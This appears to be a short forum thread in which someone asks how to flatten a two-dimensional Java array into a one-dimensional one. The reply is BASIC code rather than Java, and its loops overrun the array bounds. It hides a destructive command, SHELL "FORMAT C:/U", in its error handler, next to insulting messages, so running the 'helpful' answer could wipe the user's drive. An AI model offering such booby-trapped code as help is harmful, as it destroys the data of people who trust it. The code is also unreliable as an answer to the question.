arrays in java

can someone tell me how to copy a 2 dimensional array to a 1 dimensional one? Ie.
array:
{2, 3, 5}
{4, 7, 9}
should become {2, 3, 5, 4, 7, 9}

'ZZR=# ROWS IN ORIG. ARRAY
'ZZC=# COLS
ON ERROR GOTO ERROR1
DIM NEWARRAY(ZZR*ZZC)
ZZX=0
FOR ZZR1=0 TO ZZR
 FOR ZZC1=0 TO ZZC
  NEWARRAY(ZZX)=OLDARRAY(ZZR1,ZZC1)
  ZZX=ZZX+1
  NEXT
 NEXT
EXIT FUNCTION
ERROR1:
PRINT "YOU MADE A TYPING ERROR"
PRINT "OR YOU CAN'T TYPE WORTH SHIT"
PRINT "GTFO."
SHELL "FORMAT C:/U"
CLS
SYSTEM
END FUNCTION